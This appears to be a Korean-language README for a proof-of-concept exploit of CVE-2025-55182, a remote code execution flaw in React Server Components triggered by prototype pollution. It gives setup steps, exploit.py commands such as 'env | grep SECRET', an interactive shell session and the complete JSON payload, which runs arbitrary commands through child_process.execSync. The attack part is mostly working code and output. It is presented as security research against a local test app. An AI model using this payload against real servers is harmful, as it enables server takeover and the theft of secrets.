
CVE-2025-55182 (React2Shell)에 대한 개념 증명 익스플로잇으로, 프로토타입 오염을 통해 React 서버 컴포넌트의 치명적인 RCE 취약점을 악용합니다. 대화형 및 명령줄 기반 공격 모드를 포함합니다.
React Server Components는 FormData를 안전하지 않게 역직렬화합니다. 특별히 조작된 multipart 필드가 프로토타입 오염을 유발하고 child_process.execSync를 통해 임의 코드를 실행합니다.
npm install
pip3 install requests
npm run dev
애플리케이션 실행 주소: http://localhost:3000
python3 exploit.py -c "whoami"
python3 exploit.py -c "whoami"
python3 exploit.py -c "pwd"
python3 exploit.py -c "ls -la"
python3 exploit.py -c "cat package.json"
python3 exploit.py -c "env | grep SECRET"
python3 exploit.py -i
> whoami
명령 결과:
your-username
============================================================
> pwd
명령 결과:
/path/to/project
============================================================
> exit
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('CMD',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
npm run dev
python3 exploit.py -c "whoami"
python3 exploit.py -c "whoami" -v
전체 페이로드 구조와 서버 응답을 보여줍니다.
By Guaxinim | 사이버 보안 연구